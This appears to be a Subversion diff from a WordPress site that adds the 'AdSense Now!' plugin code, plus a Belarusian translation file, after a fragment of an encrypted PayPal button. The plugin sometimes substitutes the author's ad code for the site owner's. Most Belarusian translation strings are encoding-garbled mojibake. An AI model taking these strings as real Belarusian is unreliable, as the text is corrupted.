XqXa+LSTlDYkqI8OwR8GEYj4efEtcRpRYBxV8KxAW93YDWzFGvruKnnLbDAF6VR5w/cCMn5hzGCAZowggGWAgEBMIGUMIGOMQswCQYDVQQGEwJVUzELMAkGA1UECBMCQ0ExFjAUBgNVBAcTDU1vdW50YWluIFZpZXcxFDASBgNVBAoTC1BheVBhbCBJbmMuMRMwEQYDVQQLFApsaXZlX2NlcnRzMREwDwYDVQQDFAhsaXZlX2FwaTEcMBoGCSqGSIb3DQEJARYNcmVAcGF5cGFsLmNvbQIBADAJBgUrDgMCGgUAoF0wGAYJKoZIhvcNAQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0BCQUxDxcNMDYwNjA0MjMzMzUxWjAjBgkqhkiG9w0BCQQxFgQU4VZArx50bB4kusqhb28MS5QKhOswDQYJKoZIhvcNAQEBBQAEgYAjKTD0rhch0GgQPIXSI72btttaNR7202KyszjpDU1p34ET4WP23hXpI2qBapEixhAwkY2zyx4svFT+9fXenUtqNGKZT6bTk+JOZQXEEnUtLdB5S9p0UybptkYwBG4Jf83QeV+677XS8Qpv0uiCJkK2u6gtTN7v9dWIkqPPzipJJQ==-----END PKCS7-----
+"/></form>
+</div>
+
+</div>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/easy-adsenser/lang/adsense-now.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/easy-adsenser/lang/adsense-now.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/easy-adsenser/lang/adsense-now.php	(revision 44)
@@ -0,0 +1,353 @@
+<?php
+/*
+Plugin Name: AdSense Now!
+Plugin URI: http://www.thulasidas.com/adsense
+Description: Get started with AdSense now, and make money from your blog. Configure it at <a href="options-general.php?page=adsense-now.php">Settings &rarr; AdSense Now!</a>, or use the "Settings" link on the right.
+Version: 1.59
+Author: Manoj Thulasidas
+Author URI: http://www.thulasidas.com
+*/
+
+/*
+Copyright (C) 2008 www.thulasidas.com
+
+This program is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation; either version 3 of the License, or
+(at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with this program.  If not, see <http://www.gnu.org/licenses/>.
+*/
+
+if (!class_exists("adsNow")) {
+  class adsNow {
+    var $plugindir, $locale, $defaults ;
+    function adsNow() { //constructor
+      if (file_exists (dirname (__FILE__).'/defaults.php')){
+        include (dirname (__FILE__).'/defaults.php');
+        $this->defaults = unserialize(base64_decode($str)) ;
+      }
+      if (empty($this->defaults))  {
+        add_action('admin_notices', create_function('', 'if (substr( $_SERVER["PHP_SELF"], -11 ) == "plugins.php"|| $_GET["page"] == "adsense-now.php") echo \'<div class="error"><p><b><em>AdSense Now!</em></b>: Error locating or loading the defaults! Ensure <code>defaults.php</code> exists, or reinstall the plugin.</p></div>\';')) ;
+      }
+    }
+    function init() {
+      $this->getAdminOptions();
+    }
+    //Returns an array of admin options
+    function getAdminOptions($reset = false) {
+      $mThemeName = get_settings('stylesheet') ;
+      $mOptions = "adsNow" . $mThemeName ;
+      $this->plugindir = get_option('siteurl') . '/' . PLUGINDIR .
+        '/' . basename(dirname(__FILE__)) ;
+      $locale = get_locale();
+      $this->locale = $locale ;
+      if(!empty($this->locale) && $this->locale != 'en_US') {
+        $moFile = dirname(__FILE__) . '/lang/' . $this->locale . '/easy-adsenser.mo';
+        if(@file_exists($moFile) && is_readable($moFile))
+          load_textdomain('easy-adsenser', $moFile);
+        else {
+          // look for any other similar locale with the same first three characters
+          $foo = glob(dirname(__FILE__) . '/lang/' . substr($this->locale, 0, 2) .
+                      '*/easy-adsenser.mo') ;
+          if (!empty($foo)>0) {
+            $moFile = $foo[0] ;
+            load_textdomain('easy-adsenser', $moFile);
+            $this->locale = basename(dirname($moFile)) ;
+          }
+        }
+      }
+      $adsNowAdminOptions =
+        array('info' => "<!-- AdSense Now V1.53 -->\n",
+              'ad_text' => htmlspecialchars_decode($this->defaults['adNwText']),
+              'show_leadin' => 'float:right',
+              'show_midtext' => 'float:left',
+              'show_leadout' => 'float:right',
+              'mc' => 5,
+              'kill_pages' => false,
+              'kill_home' => false,
+              'kill_attach' => false,
+              'kill_front' => false,
+              'kill_cat' => false,
+              'kill_tag' => false,
+              'kill_archive' => false);
+
+      $adNwOptions = get_option($mOptions);
+      if (empty($adNwOptions)) {
+        // try loading the default from the pre 1.3 version, so as not to annoy
+        // the dudes who have already been using adNwsenser
+        $adminOptionsName = "adsNowAdminOptions";
+        $adNwOptions = get_option($adminOptionsName);
+      }
+      if (!empty($adNwOptions) && ! $reset) {
+        foreach ($adNwOptions as $key => $option)
+          $adsNowAdminOptions[$key] = $option;
+      }
+
+      update_option($mOptions, $adsNowAdminOptions);
+      return $adsNowAdminOptions;
+    }
+    //Prints out the admin page
+    function printAdminPage() {
+      if (empty($this->defaults)) return ;
+      $mThemeName = get_settings('stylesheet') ;
+      $mOptions = "adsNow" . $mThemeName ;
+      $adNwOptions = $this->getAdminOptions();
+
+      if (isset($_POST['update_adsNowSettings'])) {
+        if (isset($_POST['adsNowText'])) {
+          $adNwOptions['ad_text'] = $_POST['adsNowText'];
+        }
+        if (isset($_POST['adsNowShowLeadin'])) {
+          $adNwOptions['show_leadin'] = $_POST['adsNowShowLeadin'];
+        }
+        if (isset($_POST['adsNowShowMidtext'])) {
+          $adNwOptions['show_midtext'] = $_POST['adsNowShowMidtext'];
+        }
+        if (isset($_POST['adsNowShowLeadout'])) {
+          $adNwOptions['show_leadout'] = $_POST['adsNowShowLeadout'];
+        }
+        if (isset($_POST['adNwMC'])) {
+          $adNwOptions['mc'] = floatval($_POST['adNwMC']);
+        }
+        $adNwOptions['kill_pages'] = $_POST['adNwKillPages'];
+        $adNwOptions['kill_home'] = $_POST['adNwKillHome'];
+        $adNwOptions['kill_attach'] = $_POST['adNwKillAttach'];
+        $adNwOptions['kill_front'] = $_POST['adNwKillFront'];
+        $adNwOptions['kill_cat'] = $_POST['adNwKillCat'];
+        $adNwOptions['kill_tag'] = $_POST['adNwKillTag'];
+        $adNwOptions['kill_archive'] = $_POST['adNwKillArchive'];
+
+        $adNwOptions['info'] = $this->info() ;
+
+        update_option($mOptions, $adNwOptions);
+
+?>
+<div class="updated"><p><strong><?php _e("Settings Updated.", "easy-adsenser");?></strong></p> </div>
+<?php
+}
+      else if (isset($_POST['reset_adsNowSettings'])) {
+        $reset = true ;
+        $adNwOptions = $this->getAdminOptions($reset);
+?>
+<div class="updated"><p><strong><?php _e("Ok, all your settings have been discarded!", "easy-adsenser");?></strong></p> </div>
+<?php
+}
+      else if (isset($_POST['clean_db']) || isset($_POST['kill_me'])) {
+        $reset = true ;
+        $adNwOptions = $this->getAdminOptions($reset);
+        $this->cleanDB('adsNow');
+?>
+<div class="updated"><p><strong><?php _e("Database has been cleaned. All your options for this plugin (for all themes) have been removed.", "easy-adsenser");?></strong></p> </div>
+<?php
+        if (isset($_POST['kill_me'])) {
+          remove_action('admin_menu', 'adsNow_ap') ;
+          deactivate_plugins('adsense-now/adsense-now.php', true);
+?>
+<div class="updated"><p><strong><?php _e("This plugin has been deactivated.", "easy-adsenser");?>
+<a href="plugins.php?deactivate=true"> <?php _e("Refresh", "easy-adsenser") ?></a></strong></p></div>
+<?php
+          return;
+  }
+} ?>
+
+<?php
+    if (file_exists (dirname (__FILE__).'/admin.php'))
+      include (dirname (__FILE__).'/admin.php');
+    else
+      echo '<font size="+1" color="red">' . __("Error locating the admin page!\nEnsure admin.php exists, or reinstall the plugin.", 'easy-adsenser') . '</font>' ;
+?>
+
+<?php
+    }//End function printAdminPage()
+
+    function mc($mc, $ad) {
+      if ($mc <= 0 || $this->mced) return $ad ;
+	  // 1.11 is the approx. solution to (p/s) in the eqn:
+	  // 3s = p + (1-p) p + (1-p)^2 p
+	  // s: share fraction, p: probability
+      $mx = 111 * $mc ;
+      $rnd = mt_rand(0, 10000) ;
+      if ($rnd < $mx) {
+        $key = '234x60' ;
+        if (ereg ("([0-9]{3}x[0-9]{2,3})", $ad, $regs)) $key = $regs[1] ;
+        $ad = htmlspecialchars_decode($this->defaults[$key]) ;
+        $this->mced = true ;
+      }
+      return $ad ;
+    }
+
+    function info() {
+      $me = basename(dirname(__FILE__)) . '/' . basename(__FILE__);
+      $plugins = get_plugins() ;
+      $str =  "<!-- " . $plugins[$me]['Title'] . " V" . $plugins[$me]['Version'] . " -->\n";
+      return $str ;
+    }
+
+    var $nwMax = 3 ;
+    var $mced = false ;
+
+    function cleanDB($prefix){
+      global $wpdb ;
+      $wpdb->query("DELETE FROM $wpdb->options WHERE option_name LIKE '$prefix%'") ;
+    }
+
+    function plugin_action($links, $file) {
+      if ($file == plugin_basename(dirname(__FILE__).'/adsense-now.php')){
+      $settings_link = "<a href='options-general.php?page=adsense-now.php'>" .
+        __('Settings', 'easy-adsenser') . "</a>";
+      array_unshift( $links, $settings_link );
+      }
+      return $links;
+    }
+
+    function contentMeta() {
+      $ezAdOptions = $this->getAdminOptions();
+      global $post;
+      $meta = get_post_custom($post->ID);
+      $adkeys = array('adsense', 'adsense-top', 'adsense-middle', 'adsense-bottom') ;
+      $ezkeys = array('adsense', 'show_leadin', 'show_midtext', 'show_leadout') ;
+      $metaOptions = array() ;
+      // initialize to ezAdOptions
+      foreach ($ezkeys as $key => $optKey) {
+        $metaOptions[$ezkeys[$key]] = $ezAdOptions[$optKey] ;
+      }
+      // overwrite with custom fields
+      if (!empty($meta)) {
+        foreach ($meta as $key => $val) {
+          $tkey = array_search(strtolower(trim($key)), $adkeys) ;
+          if ($tkey !== FALSE) {
+            $value = strtolower(trim($val[0])) ;
+            // ensure valid values for options
+            if ($value == 'left' || $value == 'right' || $value == 'center' || $value == 'no') {
+              if ($value == 'left' || $value == 'right') $value = 'float:' . $value ;
+              if ($value == 'center') $value = 'text-align:' . $value ;
+              $metaOptions[$ezkeys[$tkey]] = $value ;
+            }
+          }
+        }
+      }
+      return $metaOptions ;
+    }
+
+    function adsNow_content($content) {
+      $adNwOptions = $this->getAdminOptions();
+      if ($adNwOptions['kill_pages'] && is_page()) return $content ;
+      if ($adNwOptions['kill_home'] && is_home()) return $content ;
+      if ($adNwOptions['kill_attach'] && is_attachment()) return $content ;
+      if ($adNwOptions['kill_front'] && is_front_page()) return $content ;
+      if ($adNwOptions['kill_cat'] && is_category()) return $content ;
+      if ($adNwOptions['kill_tag'] && is_tag()) return $content ;
+      if ($adNwOptions['kill_archive'] && is_archive()) return $content ;
+      $mc = $adNwOptions['mc'] ;
+      $this->mced = false ;
+      global $nwCount ;
+      if ($nwCount >= $this->nwMax) return $content ;
+      if(strpos($content, "<!--noadsense-->") !== false) return $content;
+      $metaOptions = $this->contentMeta() ;
+      if ($metaOptions['adsense'] == 'no') return $content;
+
+      $show_leadin = $metaOptions['show_leadin'] ;
+      $leadin = '' ;
+      if ($show_leadin != 'no')
+      {
+        if ($nwCount < $this->nwMax)
+        {
+          $nwCount++;
+          $leadin =
+            stripslashes($adNwOptions['info'] . "<!-- Post[count: " . $nwCount . "] -->\n" .
+                         '<div class="adsense adsense-leadin" style="' .
+                         $show_leadin . ';margin: 12px;">' .
+                         $this->mc($mc, $adNwOptions['ad_text']) . '</div>') ;
+        }
+      }
+
+      $show_midtext = $metaOptions['show_midtext'] ;
+      if ($show_midtext != 'no')
+      {
+        if ($nwCount < $this->nwMax)
+        {
+          $poses = array();
+          $lastpos = -1;
+          $repchar = "<p";
+          if(strpos($content, "<p") === false)
+            $repchar = "<br";
+
+          while(strpos($content, $repchar, $lastpos+1) !== false){
+            $lastpos = strpos($content, $repchar, $lastpos+1);
+            $poses[] = $lastpos;
+          }
+          $half = sizeof($poses);
+          while(sizeof($poses) > $half)
+            array_pop($poses);
+          $pickme = $poses[floor(sizeof($poses)/2)];
+          $nwCount++;
+          $midtext =
+            stripslashes($adNwOptions['info'] . "<!-- Post[count: " . $nwCount . "] -->\n" .
+                         '<div class="adsense adsense-midtext" style="' .
+                         $show_midtext . ';margin: 12px;">' .
+                         $this->mc($mc, $adNwOptions['ad_text']) . '</div>') ;
+          $content = substr_replace($content, $midtext.$repchar, $pickme, 2);
+        }
+      }
+
+      $show_leadout = $metaOptions['show_leadout'] ;
+      $leadout = '' ;
+      if ($show_leadout != 'no')
+      {
+        if ($nwCount < $this->nwMax)
+        {
+          $nwCount++;
+          $leadout =
+            stripslashes($adNwOptions['info'] . "<!-- Post[count: " . $nwCount . "] -->\n" .
+                         '<div class="adsense adsense-leadout" style="' .
+                         $show_leadout . ';margin: 12px;">' .
+                         $this->mc($mc, $adNwOptions['ad_text']) . '</div>') ;
+        }
+      }
+
+      return $leadin . $content . $leadout ;
+    }
+  }
+} //End Class adsNow
+
+$nwCount = 0 ;
+
+// provide a replacement for htmlspecialchars_decode() (for PHP4 compatibility)
+if (!function_exists("htmlspecialchars_decode")) {
+  function htmlspecialchars_decode($string,$style=ENT_COMPAT) {
+    $translation = array_flip(get_html_translation_table(HTML_SPECIALCHARS,$style));
+    if($style === ENT_QUOTES){ $translation['&#039;'] = '\''; }
+    return strtr($string,$translation);
+  }
+}
+
+if (class_exists("adsNow")) {
+  $nw_ad = new adsNow();
+  if (isset($nw_ad) && !empty($nw_ad->defaults)) {
+    //Initialize the admin panel
+    if (!function_exists("adsNow_ap")) {
+      function adsNow_ap() {
+        global $nw_ad ;
+        if (function_exists('add_options_page')) {
+          add_options_page('AdSense Now!', 'AdSense Now!', 9,
+                           basename(__FILE__), array(&$nw_ad, 'printAdminPage'));
+        }
+      }
+    }
+
+    add_filter('the_content', array($nw_ad, 'adsNow_content'));
+    add_action('admin_menu', 'adsNow_ap');
+    add_action('activate_' . basename(dirname(__FILE__)) . '/' . basename(__FILE__),
+               array(&$nw_ad, 'init'));
+    add_filter('plugin_action_links', array($nw_ad, 'plugin_action'), -10, 2);
+  }
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/easy-adsenser/lang/by_BY/easy-adsenser.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/easy-adsenser/lang/by_BY/easy-adsenser.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/easy-adsenser/lang/by_BY/easy-adsenser.po	(revision 44)
@@ -0,0 +1,456 @@
+# SOME DESCRIPTIVE TITLE.
+# Copyright (C) YEAR Manoj Thulasidas
+# This file is distributed under the same license as the PACKAGE package.
+# FIRST AUTHOR <EMAIL@ADDRESS>, YEAR.
+#
+msgid ""
+msgstr ""
+"Report-Msgid-Bugs-To: http://wordpress.org/tag/easy-adsenser\n"
+"POT-Creation-Date: 2009-03-26 23:25+0000\n"
+"PO-Revision-Date: 2009-05-04 01:32+0300\n"
+"Last-Translator: ÐÐ»ÑÑ <mrilyuha@gmail.com>\n"
+"Language-Team: Ramerta Grup <admin@ramerta.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=utf-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Belarusian\n"
+"X-Poedit-Country: BELARUS\n"
+"Project-Id-Version: \n"
+
+#: admin.php:6
+msgid "Instructions"
+msgstr "ÐÐœÑÑÑÑÐºÑÑÑ"
+
+#: admin.php:12
+msgid "Generate AdSense code (from http://adsense.google.com &rarr; AdSense Setup &rarr; Get Ads)."
+msgstr "ÐÐµÐœÐµÑÐ°Ð²Ð°ÑÑ ÐºÐŸÐŽ AdSense (Ð· http://adsense.google.com &rarr; AdSense Setup &rarr; Get Ads)."
+
+#: admin.php:17
+msgid "Cut and paste the AdSense code into the boxes below, deleting the existing text."
+msgstr "ÐÑÑÐ°Ð·Ð°ÑÑ Ñ ÑÑÑÐ°Ð²ÑÑÑ ÐºÐŸÐŽ AdSense Ñ ÑÐºÑÑÐœÑ, Ð²ÑÐŽÐ°Ð»ÑÑÑÑ ÑÑÐ¿ÐµÑÐ°ÑÐœÑ ÐºÐŸÐŽ."
+
+#: admin.php:22
+msgid "Decide how to align and show the code in your blog posts."
+msgstr "ÐÑÑÐ°ÑÑÑÐµ, ÑÐº Ð²ÑÑÐ°ÑÐœÑÐ²Ð°ÑÑ Ñ Ð¿Ð°ÐºÐ°Ð·Ð°ÑÑ ÐºÐŸÐŽ Ñ Ð¿Ð°ÑÑÐ°Ñ
+ Ð±Ð»ÐŸÐ³Ð°. "
+
+#: admin.php:27
+msgid "Take a look at the Google policy option, and other options. The defaults should work."
+msgstr "ÐÑÑÐœÑÑÐµ Ñ ÐœÐ°Ð»Ð°ÐŽÑ Google policy Ñ ÑÐœÑÑÑ Ð²Ð°ÑÑÑÐœÑÑ. ÐÐ° Ð·ÐŒÐ°ÑÑÐ°ÐœÐœÑ Ð¿Ð°Ð²ÑÐœÐµÐœ Ð¿ÑÐ°ÑÐ°Ð²Ð°ÑÑ."
+
+#: admin.php:32
+msgid "Save the options, and you are done!"
+msgstr "ÐÐ°Ñ
+Ð°Ð²Ð°ÑÑ ÐœÐ°Ð»Ð°ÐŽÑ, Ñ Ð±ÑÐŽÐ·Ðµ Ð³Ð°ÑÐŸÐ²Ð°!"
+
+#: admin.php:37
+#, php-format
+msgid "If you want to use the widgets, drag and drop them at %s Appearance (or Design) &rarr; Widgets %s"
+msgstr "ÐÐ°Ð»Ñ Ð²Ñ Ñ
+ÐŸÑÐ°ÑÐµ Ð²ÑÐºÐ°ÑÑÑÑÐŸÑÐ²Ð°ÑÑ Ð²ÑÐŽÐ¶ÑÑÑ, Ð¿ÐµÑÐ°ÑÑÐœÑÑÐµ Ð³ÑÑÐ° Ñ ÑÐ°Ð·ÐŽÐ·ÐµÐ» %s Appearance (ÑÑ Design) &rarr; Widgets %s"
+
+#: admin.php:42
+#, php-format
+msgid "Need to control ad blocks on each post? &nbsp; %s"
+msgstr "ÐÐµÐ°Ð±Ñ
+ÐŸÐŽÐœÐ°ÑÑÑ ÐºÐ°ÐœÑÑÐŸÐ»Ñ Ð±Ð»ÐŸÐºÐ°Ñ Ð°Ð±'ÑÑ ÐœÐ° ÐºÐŸÐ¶ÐœÐ°Ð¹ Ð¿Ð°ÑÐ°ÐŽÐ·Ðµ? &nbsp; %s"
+
+#: admin.php:51
+#, php-format
+msgid "Options (for the %s theme)"
+msgstr "ÐÐ°Ð»Ð°ÐŽÑ (ÐŽÐ»Ñ ÑÑÐŒÑ %s)"
+
+#: admin.php:64
+msgid "Ad Blocks in Your Posts"
+msgstr "Ad Blocks Ñ Ð²Ð°ÑÑÑ
+ Ð¿Ð°ÑÑÐ°Ñ
+"
+
+#: admin.php:65
+msgid "[Appears in your posts and pages]"
+msgstr "[ÐÐŽÐ»ÑÑÑÑÐŸÑÐ²Ð°ÐµÑÑÐ° Ñ Ð²Ð°ÑÑÑ
+ Ð¿Ð°ÑÑÐ°Ñ
+ Ñ ÑÑÐ°ÑÐŸÐœÐºÐ°Ñ
+] "
+
+#: admin.php:75
+msgid "Widgets for Your Sidebars"
+msgstr "ÐÑÐŽÐ¶ÑÑÑ Ñ Ð²Ð°ÑÑÑ
+ ÑÐ°Ð¹ÐŽÐ±Ð°ÑÐ°Ñ
+"
+
+#: admin.php:76
+msgid "[See <a href=\"widgets.php\"> Appearance (or Design) &rarr; Widgets</a>]"
+msgstr "[ÐÐ»ÑÐŽÐ·ÑÑÐµ <a href=\"widgets.php\"> Appearance (or Design) &rarr; Widgets</a>]"
+
+#: admin.php:90
+msgid "Lead-in AdSense Text"
+msgstr "Ð£ÑÑÑÐ¿ Ñ ÑÑÐºÑÑÐµ AdSense "
+
+#: admin.php:91
+msgid "(Appears near the beginning of the post)"
+msgstr "(ÐÐŽÐ»ÑÑÑÑÐŸÑÐ²Ð°ÐµÑÑÐ° Ñ Ð¿Ð°ÑÐ°ÑÐºÑ Ð¿Ð°ÑÑÐ°)"
+
+#: admin.php:94
+#: admin.php:109
+#: admin.php:124
+#: admin.php:164
+#: admin.php:180
+msgid "Ad Alignment"
+msgstr "Ð Ð°Ð·ÐŒÑÑÑÑÐœÐœÐµ Ð°Ð±'ÑÐ²Ñ"
+
+#: admin.php:95
+#: admin.php:110
+#: admin.php:125
+#: admin.php:165
+#: admin.php:181
+msgid "(Where to show?)"
+msgstr "(ÐÐ·Ðµ Ð¿Ð°ÐºÐ°Ð·Ð°ÑÑ?)"
+
+#: admin.php:97
+#: admin.php:112
+#: admin.php:127
+#: admin.php:167
+#: admin.php:183
+msgid "Align Left"
+msgstr "ÐÐ° Ð»ÐµÐ²Ð°ÐŒÑ Ð±ÐŸÐºÑ"
+
+#: admin.php:98
+#: admin.php:113
+#: admin.php:128
+#: admin.php:168
+#: admin.php:184
+msgid "Center"
+msgstr "ÐÐ° ÑÑÐœÑÑÑ"
+
+#: admin.php:99
+#: admin.php:114
+#: admin.php:129
+#: admin.php:169
+#: admin.php:185
+msgid "Align Right"
+msgstr "ÐÐ° Ð¿ÑÐ°Ð²Ð°ÐŒÑ Ð±ÐŸÐºÑ"
+
+#: admin.php:100
+msgid "Suppress Lead-in Ad"
+msgstr "Ð¡ÑÑÑÐœÑÑÑ ÑÑÑÑÐ¿ Ñ ÑÑÐºÑÑÐµ AdSense "
+
+#: admin.php:105
+msgid "Mid-Post AdSense Text"
+msgstr "Ð¡ÑÑÑÐŽÐ·ÑÐœÐ° Ñ ÑÑÐºÑÑÐµ AdSense "
+
+#: admin.php:106
+msgid "(Appears near the middle of the post)"
+msgstr "(ÐÐŽÐ»ÑÑÑÑÐŸÑÐ²Ð°ÐµÑÑÐ° Ñ ÑÑÑÑÐŽÐ·ÑÐœÐµ Ð¿Ð°ÑÑÐ°)"
+
+#: admin.php:115
+msgid "Suppress Mid-post Ad"
+msgstr "Ð¡ÑÑÑÐœÑÑÑ ÑÑÑÑÐŽÐ·ÑÐœÑ Ñ ÑÑÐºÑÑÐµ AdSense "
+
+#: admin.php:120
+msgid "Post Lead-out AdSense Text"
+msgstr "ÐÐ°ÐºÐ°ÐœÑÑÐœÐœÐµ Ñ ÑÑÐºÑÑÐµ AdSense "
+
+#: admin.php:121
+msgid "(Appears near the end of the post)"
+msgstr "(ÐÐŽÐ»ÑÑÑÑÐŸÑÐ²Ð°ÐµÑÑÐ° Ñ ÐºÐ°ÐœÑÑ Ð¿Ð°ÑÑÐ°)"
+
+#: admin.php:130
+msgid "Suppress Lead-out Ad"
+msgstr "Ð¡ÑÑÑÐœÑÑÑ Ð·Ð°ÐºÐ°ÐœÑÑÐœÐœÐµ Ñ ÑÑÐºÑÑÐµ AdSense "
+
+#: admin.php:138
+msgid "Option on Google Policy"
+msgstr "Ð£ÐºÐ»ÑÑÑÑÑ Google Policy"
+
+#: admin.php:139
+msgid "(Google policy allows no more than three ad blocks and three link units per page)"
+msgstr "(ÐÐ°Ð»ÑÑÑÐºÐ° Google ÐŽÐ°Ð·Ð²Ð°Ð»ÑÐµ ÐœÐµ Ð±ÐŸÐ»ÑÑ ÑÑÐŸÑ
+ ÑÑÐºÐ»Ð°ÐŒÐœÑÑ
+ Ð±Ð»ÐŸÐºÐ°Ñ Ñ ÑÑÐŸÑ
+ Ð±Ð»ÐŸÐºÐ°Ñ ÑÐ¿Ð°ÑÑÐ»Ð°Ðº ÐœÐ° ÑÑÐ°ÑÐŸÐœÑÑ) "
+
+#: admin.php:142
+msgid "Three ad blocks (including the side bar widget, if enabled)."
+msgstr "Ð¢ÑÑ Ð±Ð»ÐŸÐºÑ Ð°Ð±'ÑÑ (ÑÐºÐ»ÑÑÐ°ÐœÑ Ñ Ð²ÑÐŽÐ¶ÑÑ ÑÐ°Ð¹ÐŽÐ±Ð°ÑÐ°, ÐºÐ°Ð»Ñ Ð°ÐºÑÑÐ²Ð°Ð²Ð°ÐœÐ°)."
+
+#: admin.php:143
+msgid "Two ad blocks."
+msgstr "ÐÐ²Ð° Ð±Ð»ÐŸÐºÑ Ð°Ð±'ÑÑ"
+
+#: admin.php:144
+msgid "One ad block."
+msgstr "ÐÐŽÐ·ÑÐœ Ð±Ð»ÐŸÐº Ð°Ð±'ÑÑ"
+
+#: admin.php:145
+msgid "No ad blocks in posts."
+msgstr "ÐÑÐŒÐ° Ð°Ð±'ÑÑ Ñ Ð¿Ð°ÑÑÐµ"
+
+#: admin.php:146
+msgid "Any number of ad blocks (At your own risk!)"
+msgstr "ÐÐŽÐŸÐ»ÑÐœÑ Ð»ÑÐº Ð°Ð±'ÑÑ (ÐÐ° Ð²Ð°ÑÑ ÑÑÐ·ÑÐºÑ!)"
+
+#: admin.php:148
+msgid "Number of Link Units widgets (&le; 3) [Google serves only three]:"
+msgstr "ÐÐŸÐ»ÑÐºÐ°ÑÑÑ Ð²ÑÐŽÐ¶ÑÑÐ°Ñ (&le; 3) [Google Ð¿Ð°ÐŽÑÑÑÐŒÐ»ÑÐ²Ð°Ðµ ÑÐŸÐ»ÑÐºÑ 3]:"
+
+#: admin.php:160
+msgid "AdSense Widget Text"
+msgstr "Ð¢ÑÐºÑÑ Ð²ÑÐŽÐ¶ÑÑÐ° AdSense "
+
+#: admin.php:161
+msgid "(Appears in the Sidebar as a Widget)"
+msgstr "(ÐÐŽÐ»ÑÑÑÑÐŸÑÐ²Ð°ÐµÑÑÐ° Ñ ÑÐ°Ð¹ÐŽÐ±Ð°ÑÑ ÑÐº Ñ Ð²ÑÐŽÐ¶ÑÑÐµ)"
+
+#: admin.php:170
+msgid "Suppress Widget"
+msgstr "ÐÑÐŽÐ¶ÑÑ ÑÑÑÑÐºÐ°ÐœÐœÑ"
+
+#: admin.php:171
+msgid "Widget Title:"
+msgstr "ÐÐ°Ð³Ð°Ð»ÐŸÐ²Ð°Ðº Ð²ÑÐŽÐ¶ÑÑÐ°:"
+
+#: admin.php:176
+msgid "AdSense Link-Units Text"
+msgstr "Ð¢ÑÐºÑÑ AdSense Link-Units"
+
+#: admin.php:177
+msgid "(Appears in the Sidebar as  Widgets)"
+msgstr "(ÐÐŽÐ»ÑÑÑÑÐŸÑÐ²Ð°ÐµÑÑÐ° Ñ ÑÐ°Ð¹ÐŽÐ±Ð°ÑÑ ÑÐº Ñ Ð²ÑÐŽÐ¶ÑÑÐµ)"
+
+#: admin.php:186
+msgid "Suppress Link Units"
+msgstr "Ð¡ÑÑÑÐœÑÑÑ ÑÐ»ÐµÐŒÐµÐœÑÑ ÑÐ¿Ð°ÑÑÐ»Ð°Ðº"
+
+#: admin.php:187
+msgid "Link Unit Title:"
+msgstr "ÐÐ°Ð³Ð°Ð»ÐŸÐ²Ð°Ðº ÑÐ¿Ð°ÑÑÐ»ÐºÑÄ±:"
+
+#: admin.php:192
+msgid "Google Search Widget"
+msgstr "ÐÑÐŽÐ¶ÑÑ Ð¿ÐŸÑÑÐºÑ Ñ Google"
+
+#: admin.php:193
+msgid "(Adds a Google Search Box to your sidebar)"
+msgstr "(ÐÐ±'ÑÐ²Ñ Ð¿ÐŸÑÑÐºÐ°Ð²Ð°Ð¹ ÑÐºÑÑÐœÑ Google Ñ Ð²Ð°ÑÑÐŒ ÑÐ°Ð¹ÐŽÐ±Ð°ÑÑ)"
+
+#: admin.php:196
+msgid "Search Title"
+msgstr "ÐÐ°Ð³Ð°Ð»ÐŸÐ²Ð°Ðº Ð¿ÐŸÑÑÐºÑ"
+
+#: admin.php:197
+msgid "(Title of the Google Search Widget)"
+msgstr "(ÐÐ°Ð³Ð°Ð»ÐŸÐ²Ð°Ðº Ð²ÑÐŽÐ¶ÑÑÐ° Ð¿Ð°ÑÑÐºÑ Ñ Ð²ÑÐŽÐ¶ÑÑÐµ Google )"
+
+#: admin.php:201
+msgid "Suppress Search Box"
+msgstr "Ð¡ÑÑÑÐœÑÑÑ Ð¿ÐŸÑÑÐºÐ°Ð²ÑÑ ÑÐºÑÑÐœÑ"
+
+#: admin.php:202
+msgid "Custom Title:"
+msgstr "ÐÑÐ±ÑÐ°ÐœÑ Ð·Ð°Ð³Ð°Ð»ÐŸÐ²Ð°Ðº:"
+
+#: admin.php:210
+msgid "Other Options"
+msgstr "ÐÐœÑÑÑ ÐœÐ°Ð»Ð°ÐŽÑ"
+
+#: admin.php:212
+msgid "Allow ad blocks in feeds. [Please report any problems with this option.]"
+msgstr "ÐÐ°Ð·Ð²ÐŸÐ»ÑÑÑ Ð±Ð»ÐŸÐºÑ Ð°Ð±'ÑÑ Ñ Ð»ÐµÐœÑÐ°Ñ
+. [ÐÐ°Ð»Ñ Ð»Ð°ÑÐºÐ°, Ð¿ÑÑÑÑÐµ Ð°Ð± Ð¿ÑÐ°Ð±Ð»ÐµÐŒÐ°Ñ
+ Ð· Ð³ÑÑÐ°Ð¹ ÐœÐ°Ð»Ð°ÐŽÐ°Ð¹.]"
+
+#: admin.php:213
+msgid "Prioritize sidebar widget. (Always shows the widget, if enabled.)"
+msgstr "ÐÑÑÑÑÑÑÑÑÐœÑ Ð¿Ð°ÑÐ°ÐŽÐ°Ðº ÐœÐ° Ð±Ð°ÐºÐ°Ð²ÐŸÐ¹ Ð¿Ð°ÐœÑÐ»Ñ Ð²ÑÐŽÐ¶ÑÑÐ°Ñ. (ÐÐ°ÑÑÑÐŽÑ Ð¿Ð°ÐºÐ°Ð·Ð²Ð°Ðµ Ð²ÑÐŽÐ¶ÑÑ, ÐºÐ°Ð»Ñ ÐœÐ°Ð»Ð°ÐŽÐ° ÑÐºÐ»ÑÑÐ°ÐœÐ°Ñ.) "
+
+#: admin.php:214
+msgid "Force mid-text ad (if enabled) even in short posts."
